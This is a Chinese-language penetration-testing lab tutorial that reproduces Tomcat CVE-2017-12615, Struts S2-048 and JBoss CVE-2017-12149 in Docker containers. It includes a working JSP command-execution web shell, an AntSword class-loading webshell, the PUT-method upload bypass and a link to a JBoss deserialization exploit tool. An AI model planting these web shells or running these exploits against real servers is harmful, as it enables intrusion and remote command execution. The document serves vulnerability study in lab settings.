跳到主要内容

攻防环境搭建

POC Proof of Concept 在网络安全,一般指去证明系统存在漏洞的代码。

EXP Exploit 利用系统漏洞进行攻击的程序。

Payload 攻击成功后,攻击者后续实现侵害的代码。

RCE Remote Command Execution 远程代码执行

DVWA

👉 见 DVWA 安装及使用

漏洞 1:Tomcat

Tomcat PUT 方法任意写文件漏洞(CVE-2017-12615)

Tomcat 版本:7.0.0-7.0.79、8.5.19

安装 cved,这里包含有该漏洞的复现环境。

docker search CVE-2017-12615
docker pull docker.io/cved/cve-2017-12615
docker run -d -p 8080:8080 docker.io/cved/cve-2017-12615

工具:Burp Suite

👉 下载地址:https://portswigger.net/burp

Burp Suite 用于渗透测试,可以下载社区版本使用。

在 Burp Suite 中打开一个临时项目,在 Setting 中我们可以看到已经 Burp Suite 在本地的 8080 端口开启了一个服务,去监听流量。

然后在火狐浏览器上,把我们流量转发到 8080 中:

访问 cved

这里我的 cved 是部署在远程服务器上,如果你的 cved 部署在本地上,可以考虑在本地启动一个 host,host 将请求转发到你本地的 cved 端口,比如用 switchhosts 开一个 example.com 转发到 127.0.0.1:8081。

在 Burp Suite 中可以看到我们的请求已经被拦截了:

注意需要打开「Intercept is on」按钮(未打开之前按钮是「intercept is off」)。

PoC:上传文件

右键菜单把请求发送到 Repeater 中,Repeater 可以反复发送同一个请求,方便测试。

修改请求方法

可以看到,当我们访问 /poc.txt 的时候成功响应,也就是文件已经写入服务器。

漏洞原理

首先 Tomcat 的 web.xml 配置了可写(readonly=false),导致我们可以往服务器写文件:

<servlet>
<servlet-name>default</servlet-name>
<servlet-class>org.apache.catalina.servlets.DefaultServlet</servlet-class>
<init-param>
<param-name>debug</param-name>
<param-value>0</param-value>
</init-param>
<init-param>
<param-name>listings</param-name>
<param-value>false</param-value>
</init-param>
<init-param>
<param-name>readonly</param-name>
<param-value>false</param-value>
</init-param>
<load-on-startup>1</load-on-startup>
</servlet>

其次 Tomcat 是不允许上传文件的,因此如果是 /poc.txt 会返回 404,但是 /poc.txt/ 就绕过了 Tomcat 的校验,并且在文件系统在保存的时候 /poc.txt/ 会被解释成 /poc.txt ,最终写入成功。

这里其实跟 Tomcat 的校验机制有关,它是黑名单校验机制,容易绕过,更安全的方式是用白名单。

RCE

上传 shell.jsp 脚本

在这段脚本中,会读取 URL 上叫做 pwd 的参数,匹配为 wukaipeng 之后,然后获取 i 参数,并且把对应的值当做命令来执行:

<%
if("wukaipeng".equals(request.getParameter("pwd"))){
java.io.InputStream in =
Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("<pre>");
while((a=in.read(b))!=-1){
out.println(new String(b));
}
out.print("</pre>");
}
%>

当我们请求 /shell.jsp?pwd=wukaipeng&i=whoami,就执行了 whoami 命令:

工具:AntSword

蚁剑,网站管理工具。

👉 安装下载指南:https://www.yuque.com/antswordproject/antsword/srruro

上传下面的文件 yijian.jsp 到网站中:

<%!
class U extends ClassLoader {
U(ClassLoader c) {
super(c);
}
public Class g(byte[] b) {
return super.defineClass(b, 0, b.length);
}
}

public byte[] base64Decode(String str) throws Exception {
try {
Class clazz = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
} catch (Exception e) {
Class clazz = Class.forName("java.util.Base64");
Object decoder = clazz.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
}
}
%>
<%
String cls = request.getParameter("passwd");
if (cls != null) {
new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);
}
%>

连接

漏洞 2:Structs

S2-048 远程代码执行漏洞(CVE-2017-9791)

影响版本: 2.0.0 - 2.3.32

下载

docker search s2-048
docker pull docker.io/piesecurity/apache-struts2-cve-2017-5638
docker run -d -p 8080:8080 piesecurity/apache-struts2-cve-2017-5638

访问 /showcase

去到 Structs1 Integration

填写表单

在 Ganster Name 字段中,填写 OGNL 表达式 ${3*4},可以看到它被执行了,返回了乘积结果 12

OGNL Object Graph Navigation Language 在 Java 中使用的一种表达式语言,可以操作 Java 类。

漏洞原理

本次漏洞触发点在 org.apache.struts2.s1.Struts1Action.execute() 方法中

漏洞 3:JBoss

JBoss 基于 J2EE 的开源的应用服务器和中间件平台。

漏洞版本:5.x 和 6.x 版本

运行 showcase

docker search CVE-2017-12149
docker pull docker.io/hackingpub/cve-2017-12149
docker run -d -p 8080:8080 hackingpub/cve-2017-12149

容器刚运行需要几分钟进行初始化才能访问到。

漏洞原理

由于 Java 反序列化错误类型,存在于 JBoss 的 HttpInvoker 组件中的 ReadOnlyAccessFilter 中。在过滤器在没有任何安全检查的情况下将客户端的数据流进行反序列化,从而导致攻击者可以在服务器上执行任意代码。

public void doFilter(ServletRequest request, ServletResponse response, 
FilterChain chain)
throws IOException, ServletException
{
HttpServletRequest httpRequest = (HttpServletRequest)request;

Principal user = httpRequest.getUserPrincipal();
if ((user == null) && (this.readOnlyContext != null))
{
ServletInputStream sis = request.getInputStream();
ObjectInputStream ois = new ObjectInputStream(sis);
MarshalledInvocation mi = null;
try
{
mi = (MarshalledInvocation)ois.readObject(); //漏洞点
}
catch (ClassNotFoundException e)
{
throw new ServletException("Failed to read MarshalledInvocation", e);
}
request.setAttribute("MarshalledInvocation", mi);
mi.setMethodMap(this.namingMethodMap);
Method m = mi.getMethod();
if (m != null) {
validateAccess(m, mi);
}
}
chain.doFilter(request, response);
}

RCE

⚒️下载工具:[jboss反序列化_CVE-2017-12149.jar](https://github.com/Penggeor/NetSecurity/blob/main/第 04 周/工具/jboss反序列化_CVE-2017-12149.jar)

注意该工具需要 Java 环境